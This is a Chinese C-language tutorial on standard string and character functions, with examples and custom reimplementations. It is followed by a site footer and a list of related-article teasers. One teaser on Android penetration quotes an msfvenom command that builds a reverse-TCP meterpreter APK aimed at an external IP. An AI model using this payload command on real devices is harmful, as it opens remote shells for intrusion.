目录

求字符串长度

认识strlen

自主实现strlen

字符串拷贝

认识strcpy

自主实现strcpy

strncpy

字符串拼接

认识strcat

自主实现sracat

strncat

字符串大小比较

认识strcmp

自主实现strcmp

strncmp

字符串中寻找子字符串

认识strstr

自主实现strstr

根据符号截取字符串

认识strtok

将错误码转换成错误信息

认识strerror

字符分类函数

常见字符函数

字符转换


求字符串长度

认识strlen

stelen是一个用于求取字符串长度的函数,它返回的是一个字符串'\0'之前的字符个数使用strlen需要包含<string.h>这个头文件。

函数声明:

size_t strlen ( const char * str );

注意:

  • strlen所求的字符串当中必须包含'\0',否则函数将会一直寻找'\0'。
  • strlen返回值为size_t,是一个无符号的整数。

一个错误案例:

int main()
{const char* str1 = "abcdef";const char* str2 = "bbb";if (strlen(str2) - strlen(str1) > 0)printf("str2>str1\n");elseprintf("str1>str2\n");
}

输出结果:

解释:

strlen(str1)=6,strlen(str2)=3,3-6=-3,

-3    的    原     码     为:10000000 00000000 00000000 00000011

在内存中存储的补码为:11111111 11111111 11111111 11111101

由于这是两个无符号数相加减,所得到的数也将其当作无符号数处理,其原码就是补码,所以内存中存储的补码11111111 11111111 11111111 11111101实际上也是原码。翻译过来为4,294,967,293。

自主实现strlen

size_t my_strlen(const char* str)
{int count = 0;while (*str != '\0'){count++;str++;}return count;
}int main() 
{size_t sz = my_strlen("abc");printf("%u\n", sz);return 0;
}

字符串拷贝

认识strcpy

strcpy是为一个字符串(目标字符串)拷贝另一个字符串(源字符串)的'\0'及之前内容过来。

函数声明:

char* strcpy(char * destination, const char * source );

注意:

  • 源字符串必须以'\0'结尾。
  • 源字符串的'\0'也会被拷贝。
  • 目标空间必须足够大,以确保能放下源字符串的所有内容。
  • 目标空间必须可变。

一个错误案例:

int main()
{char arr1[20] = "xxxxxxxxxxxxxxx";char arr2[] = { 'a', 'b', 'c', 'd', 'e' };strcpy(arr1, arr2);printf("%s\n", arr1);return 0;
}

其中,arr2中并没有'\0'

通过逐过程调试观察:

可以看到,在没有'\0'时,strcpy并不知道复制到哪里时停止,程序运行出现错误。

打印结果:

加上'\0'后:

int main()
{char arr1[20] = "xxxxxxxxxxxxxxx";char arr2[] = { 'a', 'b', 'c', 'd', 'e', '\0'};strcpy(arr1, arr2);printf("%s\n", arr1);return 0;
}

'\0'也被拷贝到arr1中。

自主实现strcpy

char* my_strcpy(char* dest, const char* src)
{char* ret = dest;assert(dest != NULL);assert(src != NULL);while (*src != '\0'){*dest = *src;src++;dest++;}*dest = *src;// 拷贝\0return ret;
}int main()
{char arr1[20] = "hello world";char arr2[] = "xxxxx";my_strcpy(arr1, arr2);printf("%s", my_strcpy(arr1, arr2));return 0;
}

简化代码:

char* my_strcpy(char* dest, const char* src)
{char* ret = dest;assert(dest != NULL);assert(src != NULL);while (*dest++ = *src++);return ret;
}int main()
{char arr1[20] = "hello world";char arr2[] = "xxxxx";my_strcpy(arr1, arr2);printf("%s", my_strcpy(arr1, arr2));return 0;
}

strncpy

将源的第一个数字字符复制到目标。如果在复制num个字符之前找到源C字符串的末尾(由空字符表示),则目标将填充零,直到总共写入num个字符。

函数声明:

char * strncpy ( char * destination, const char * source, size_t num );

注意:

  • 如果源字符串的长度小于num,则拷贝完源字符串之后,在目标后边追加0,直到num个
  • 如果目标原本存有字符串,则在拷贝只会改变其前面num个字符,不会在拷贝完num个后自动追加'\0'

使用案例:

int main()
{char arr1[20] = { '1', '2', '\0', '4', '5', '6', '7'};char arr2[] = "abcdefg";printf("%s", strncpy(arr1, arr2, 8));return 0;
}

int main()
{char arr1[20] = { '1', '2', '\0', '4', '5', '6', '7'};char arr2[] = "abc";printf("%s", strncpy(arr1, arr2, 8));return 0;
}

int main()
{char arr1[20] = "xxxxxxxxxxx";char arr2[] = "abcdefg";printf("%s", strncpy(arr1, arr2, 3));return 0;
}

字符串拼接

认识strcat

将源字符串的副本附加到目标字符串,目标被源的第一个字符覆盖,并在末尾包含一个空字符,由目的地中的两个字符串连接而成的新字符串。

也就是将一个字符串添加到另一个字符串的字符'\0'之前,组成一个新的字符串。                            

注意:

  • 源字符串必须'/0'结束
  • 目标字符串必须足够大,能容纳下源字符串的内容
  • 目标空间必须可修改

使用案例:

int main()
{char arr1[20] = "hello world";char arr2[] = "xxxxx";strcat(arr1, arr2);printf("%s", arr1);return 0;
}

监视:

运行结果:

自主实现sracat

char* my_strcat(char* dest, const char* src)
{assert(dest);assert(src);char* ret = dest;// 1.找目标空间中的\0while (*dest){dest++;}while (*dest++ = *src++);return ret;
}int main()
{char arr1[20] = "hello ";char arr2[] = "world";printf("%s", my_strcat(arr1, arr2));return 0;
}

    strncat

    将源的第一个数字字符附加到目标,再加上一个终止空字符。如果源代码中C字符串的长度小于num,则只复制直到终止空字符的内容。

    函数声明:

    char * strncat ( char * destination, const char * source, size_t num );

    注意:

    • 该函数为目标字符串拼接完字符串后,会主动添加一个主动字符'\0'
    • 源字符串长度不足num个,会将整个源字符串复制完后停止
    • 目标字符串的容器必须足够大

    使用案例:

    int main()
    {char arr1[20] = "1234567";char arr2[] = "abcdefg";printf("%s", strncat(arr1, arr2, 3));return 0;
    }

    字符串大小比较

    认识strcmp

    此函数用于比较两个字符串的大小,开始比较每个字符串的第一个字符。如果它们彼此相等,则继续使用以下成对字符,直到字符不同或达到终止空字符。

    标准规定:

    • 第一个字符串大于第二个字符串,则返回大于0的数字
    • 第一个字符串等于第二个字符串,则返回0
    • 第一个字符串小于第二个字符串,则返回小于0的数字
    strcmp("abcde", "abq");

    前面两个字符ascall码值相等,到第三个字符时,c小于q,所以第一个字符串小于第二个字符串,返回一个小于0的数字。

    strcmp("abzde", "abq");

    前面两个字符ascall码值相等,到第三个字符时,z大于q,所以第一个字符串大于第二个字符串,返回一个大于0的数字。

    strcmp("abqde", "abq");

    前面三个字符ascall码值相等,到第四个字符时,字符串二达到终止字符,所以第一个字符串大于第二个字符串,返回一个大于0的数字。

    strcmp("abq", "abq");

    两个字符串相等,返回0。

    自主实现strcmp

    int my_strcmp(const char* str1, const char* str2)
    {assert(str1 && str2);while (*str1 == *str2){if (*str1 == '\0')return 0;str1++;str2++;}return (*str1 - *str2);
    }int main()
    {int ret = my_strcmp("abq", "abq");printf("%d", ret);return 0;
    }

    注意:

    字符串一大于字符串二返回1,字符串一小于字符串二返回-1只是在VS编译器环境下是这样,不同编译器下实现的效果是有差异的。标准只规定了大于返回大于0的数字,小于返回小于0的数字,没有规定具体的返回值。

    strncmp

    比较到出现另个字符不一样或者一个字符串结束或者num个字符全部比较完。

    函数声明:

    int strncmp ( const char * str1, const char * str2, size_t num );

    使用案例:

    int main()
    {char arr1[] = "abcabcd";char arr2[] = "abcdefg";printf("%d", strncmp(arr1, arr2, 3));return 0;
    }

    arr1和arr2并不相同,但是只比较前三个字符串便会得到两个字符串相等:

    int main()
    {char arr1[] = "abcaxyz";char arr2[] = "abcdefg";printf("%d", strncmp(arr1, arr2, 5));return 0;
    }

    可以看到arr1到第五个字符开始就明显大于arr2,但strncmp比较到第四个出现不同字符时就会停止返回结果了。

    字符串中寻找子字符串

    认识strstr

    返回一个指向str1中str2第一次出现的指针,如果str2不是str1的一部分,则返回一个空指针。

    案例:

    int main()
    {char arr1[] = "abcdefabcdef";char arr2[] = "def";char* ret = strstr(arr1, arr2);printf("%s", ret);return 0;
    }

    strstr返回的是子字符串在字符串中第一次出现的指针。

    结果:

    注意:

    当字符串中没有子字符串时,strstr会返回一个NULL;

    自主实现strstr

    char* my_strstr(char* str1, char* str2)
    {char* cp = str1;char* s1 = cp;char* s2 = str2;while (*cp){// 开始匹配s1 = cp;s2 = str2;while (*s1 && *s2 && *s1 == *s2){s1++;s2++;}if (*s2 == '\0')return cp;cp++;}return NULL;
    }int main()
    {char arr1[] = "abcdefabcdef";char arr2[] = "def";char* ret = my_strstr(arr1, arr2);printf("%s", ret);return 0;
    }

    根据符号截取字符串

    认识strtok

    strtok可以根据数组中定义的分隔符去截取字符串。

    函数声明:

    char * strtok ( char * str, const char * sep );
    • sep参数是个字符串,定义了用作分隔符的字符集合
    • 第一个参数指定一个字符串,它包含了0个或多个由sep字符串中一个或多个分隔符分割的标记
    • strtok函数找到str中的下一个标记,并将其用\0结尾,返回一个指向这个标记的指针。(注:strtok函数会改变被操作的字符串,所以在使用strtok函数切分的字符串一般都是临时拷贝的内容并且可修改。)
    • strtok函数的第一个参数不为NULL,函数将找到str中第一个标记,strtok函数将保存它在字符串中的位置。
    • strtok函数的第一个参数为NULL,函数将在同一个字符串中被保存的位置开始,查找下一个标记。
    • 如果字符串中不存在更多的标记,则返回NULL指针。

    使用案例:

    int main()
    {char arr[] = "sixlegs@yeah.net";char copy[30];strcpy(copy, arr);char sep[] = "@.";char * ret = strtok(copy, sep);printf("%s\n", ret);ret = strtok(NULL, sep);printf("%s\n", ret);ret = strtok(NULL, sep);printf("%s\n", ret);return 0;
    }

    输出结果:

    但是以上用法有一个局限性,因为arr是我们自己定义的,我们知道他被两个分隔符分成了三段,所以在想要根据自定义的分隔符分割未知的字符串时便有了以下写法。

    int main()
    {char arr[] = "sixlegs@yeah.net";char copy[30];strcpy(copy, arr);char sep[] = "@.";char* ret = NULL;for (ret = strtok(copy, sep); ret != NULL; ret = strtok(NULL, sep)){printf("%s\n", ret);}return 0;
    }

    将错误码转换成错误信息

    认识strerror

    库函数在执行的时候,发生了错误,会将一个错误码存放errno这个变量中,errno是C语言提供的一个全局变量。

    当我们在访问网页时,如果网页发生了错误,返回了一个404的错误码,这时候要想知道发生了什么错误,就得将这个错误码翻译成错误信息。而strerror的功能就是返回错误码所对应的错误信息

    int main()
    {for (int i = 0; i < 10; i++){printf("%s\n", strerror(i));}return 0;
    }

    int main()
    {FILE* pf = fopen("data.txt", "r");if (pf == NULL){printf("fopen: %s\n", strerror(errno));// perror 不需要手动打印perror("fopen");return 1;}fclose(pf);return 0;
    }

    字符分类函数

    常见字符函数

    函数如果它的参数符合下列条件就返回真
    iscntrl任何控制字符
    isspace空白字符:'空格',换页'\f',换行'\n',回车'\r',制表符'\t'或垂直制表符'\v'
    isdigit十进制数字0-9
    isxdigit十六进制数字,包括所有十进制数字,小写字母a-f,大写字母A-F
    islower小写字母a-z
    isupper大写字母A-Z
    isalpha字母a-z或字母A-Z
    isalnum字母或数字,a-z,A-Z,0-9
    ispunct标点符号,任何不属于数字或者字母的图形字符(可打印)
    isgraph任何图形符号
    isprint任何可打印字符,包括图形字符和空白字符

    字符转换

    使用字符分类函数将输入的大写字母转换成小写字母:

    #include <ctype.h>
    int main()
    {char arr[20] = { 0 };gets_s(arr);// 遇到空格继续读char* p = arr;while (*p){if (isupper(*p)){*p = tolower(*p);}p++;}printf("%s\n", arr);return 0;
    }

    本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
    如若转载,请注明出处:http://www.pswp.cn/pingmian/92730.shtml
    繁体地址,请注明出处:http://hk.pswp.cn/pingmian/92730.shtml
    英文地址,请注明出处:http://en.pswp.cn/pingmian/92730.shtml

    如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

    相关文章

    学习日志31 python

    1 x, y y, x 是合法的,这是Python的特色语法x, y y, x 是 Python 中一种非常简洁且实用的特色语法&#xff0c;用于交换两个变量的值。这种语法的优势在于&#xff1a;无需额外的临时变量即可完成交换操作代码简洁易读&#xff0c;一眼就能理解其目的执行效率高&#xff0c;在…

    Mac配置服务器工具Royal TSX

    Royal TSX是mac上类似xshell的工具&#xff0c;可以远程连接服务器、连接ftp等 下载Royal TSX 官网&#xff1a;Royal TSX 下载插件 在设置中的插件市场plugins中下载需要的插件 例如 远程shell插件&#xff1a;Terminal ftp插件&#xff1a;File Transfer 新建一个文档 开…

    【小程序】微信小程序开发,给用户发送一次性订阅消息,常见参数长度和数据类型说明,你值得收藏

    &#x1f339;欢迎来到《小5讲堂》&#x1f339; &#x1f339;这是《小程序》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。&#x1f339; &#x1f339;温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01;&a…

    Pytorch深度学习框架实战教程-番外篇05-Pytorch全连接层概念定义、工作原理和作用

    相关文章 视频教程 《Pytorch深度学习框架实战教程01》《视频教程》 《Pytorch深度学习框架实战教程02&#xff1a;开发环境部署》《视频教程》 《Pytorch深度学习框架实战教程03&#xff1a;Tensor 的创建、属性、操作与转换详解》《视频教程》 《Pytorch深度学习框架实战…

    生产环境中Spring Cloud Config高可用与动态刷新实战经验分享

    生产环境中Spring Cloud Config高可用与动态刷新实战经验分享 一、业务场景描述 在微服务架构中&#xff0c;配置中心承担集中化管理各微服务配置的职责。随着服务实例数量增加&#xff0c;单点部署的Spring Cloud Config Server无法满足生产环境的高可用需求。同时&#xff0c…

    华为服务器中Mindie镜像的部署及启动方法

    一、部署方法 首先要安装好Docker,然后点开网址https://www.hiascend.com/developer/ascendhub/detail/af85b724a7e5469ebd7ea13c3439d48f 拉取镜像需要申请权限: 注册登录后,即可提交申请,一般需要一个工作日,等审核通过后,点击下载即可弹出如下提示框: 按照上述方法…

    Unity基于Recoder的API写了一个随时录屏的工具

    Tips: 需要有Recorder Package引用或存在在项目 using UnityEngine; using UnityEditor; using UnityEditor.Recorder; using UnityEditor.Recorder.Input; using System.IO; using System;public class RecorderWindow : EditorWindow {private RecorderController recorderCo…

    安卓渗透基础(Metasploit)

    生成payloadmsfvenom -p android/meterpreter/reverse_tcp LHOST106.53.xx.xx LPORT8080 -o C:\my_custom_shell.apkapksigner 是 Android SDK 中的一个工具&#xff0c;用于给 APK 文件签名&#xff0c;确保应用的完整性和安全性。进入 File > Settings > Appearance &a…

    从零构建自定义Spring Boot Starter:打造你的专属开箱即用组件

    一、引言:为什么需要自定义Spring Boot Starter Spring Boot的核心理念是"约定优于配置",而Starter(启动器)正是这一理念的最佳实践。官方提供的Starter(如spring-boot-starter-web、spring-boot-starter-data-jpa)通过封装常用组件的配置,让开发者能够"…

    MySQL 基础操作教程

    MySQL 是目前最流行的开源关系型数据库管理系统之一&#xff0c;广泛应用于Web开发、数据分析等场景。掌握基础的增删改查操作是入门的关键。本文将从环境准备开始&#xff0c;带你深入&#xff0c;mysql一、前置准备&#xff1a;安装与连接 MySQL 1. 安装 MySQL Windows&#…

    批量把在线网络JSON文件(URL)转换成Excel工具 JSON to Excel by WTSolutions

    产品介绍 JSON to Excel by WTSolutions 是一款功能强大的工具&#xff0c;能够将JSON数据快速转换为Excel格式。该工具提供两种使用方式&#xff1a;作为Microsoft Excel插件或作为在线网页应用&#xff0c;满足不同用户的需求。无论是处理简单的扁平JSON还是复杂的嵌套JSON结…

    【排序算法】③直接选择排序

    系列文章目录 第一篇&#xff1a;【排序算法】①直接插入排序-CSDN博客 第二篇&#xff1a;【排序算法】②希尔排序-CSDN博客 第三篇&#xff1a;【排序算法】③直接选择排序-CSDN博客 第四篇&#xff1a;【排序算法】④堆排序-CSDN博客 第五篇&#xff1a;【排序算法】⑤冒…

    2024年ESWA SCI1区TOP,自适应种群分配和变异选择差分进化算法iDE-APAMS,深度解析+性能实测

    目录1.摘要2.自适应种群分配和变异选择差分进化算法iDE-APAMS3.结果展示4.参考文献5.代码获取6.算法辅导应用定制读者交流1.摘要 为了提高差分进化算法&#xff08;DE&#xff09;在不同优化问题上的性能&#xff0c;本文提出了一种自适应种群分配和变异选择差分进化算法&…

    目标检测数据集 - 无人机检测数据集下载「包含COCO、YOLO两种格式」

    数据集介绍&#xff1a;无人机检测数据集&#xff0c;真实采集高质量含无人机图片数据&#xff0c;适用于空中飞行无人机的检测。数据标注标签包括 drone 无人机一个类别&#xff1b;适用实际项目应用&#xff1a;无人机检测项目&#xff0c;以及作为通用检测数据集场景数据的补…

    Linux DNS服务解析原理与搭建

    一、什么是DNSDNS 是域名服务 (Domain Name System) 的缩写&#xff0c;它是由解析器和域名服务器组成的。 域名服务器是指保存有该网络中所有主机的域名和对应IP地址&#xff0c; 并具有将域名转换为IP地址功能的服务器。 域名必须对应一个IP地址&#xff0c;而IP地址不一定有…

    typecho博客设置浏览器标签页图标icon

    修改浏览器标签页图标&#xff08;favicon.ico&#xff09;&#xff1a;第1种&#xff1a;上传到服务器本地目录1、制作图标文件&#xff1a;准备一张长宽比为 1:1 的图片&#xff0c;将其上传到第三方 ico 生成网站&#xff0c;生成后缀为.ico 的图片文件&#xff0c;并将其命…

    LoadBalancingSpi

    本文是 Apache Ignite 中 Load Balancing SPI&#xff08;负载均衡服务提供接口&#xff09; 的核心说明&#xff0c;特别是其默认实现 RoundRobinLoadBalancingSpi 的工作原理。 它解释了 Ignite 如何在集群中智能地将任务&#xff08;Job&#xff09;分配到不同的节点上执行&…

    Day43--动态规划--674. 最长连续递增序列,300. 最长递增子序列,718. 最长重复子数组

    Day43–动态规划–674. 最长连续递增序列&#xff0c;300. 最长递增子序列&#xff0c;718. 最长重复子数组 674. 最长连续递增序列 方法&#xff1a;动态规划 思路&#xff1a; dp[i]含义&#xff1a;到i这个位置&#xff08;包含i&#xff09;的连续递增子序列的长度递推…

    支持 UMD 自定义组件与版本控制:从 Schema 到动态渲染

    源码 ⸻ 支持 UMD 自定义组件与版本控制&#xff1a;从 Schema 到动态渲染 在低代码平台或可视化大屏 SDK 中&#xff0c;支持用户上传自定义组件 是一个必备能力。 而在 React 场景下&#xff0c;自定义组件通常以 UMD 格式 打包并暴露为全局变量。 本篇文章&#xff0c;我…

    zookeeper3.8.4安装以及客户端C++api编译

    服务端直接下载编译好的bin版本 Apache Download Mirrors C客户端需要编译库文件 zookeeper 3.8.4 使用与C API编译 - 丘狸尾 - 博客园 杂七杂八的依赖 sudo apt update sudo apt install -y \autoconf automake libtool libtool-bin m4 pkg-config gettext \cmake build-es…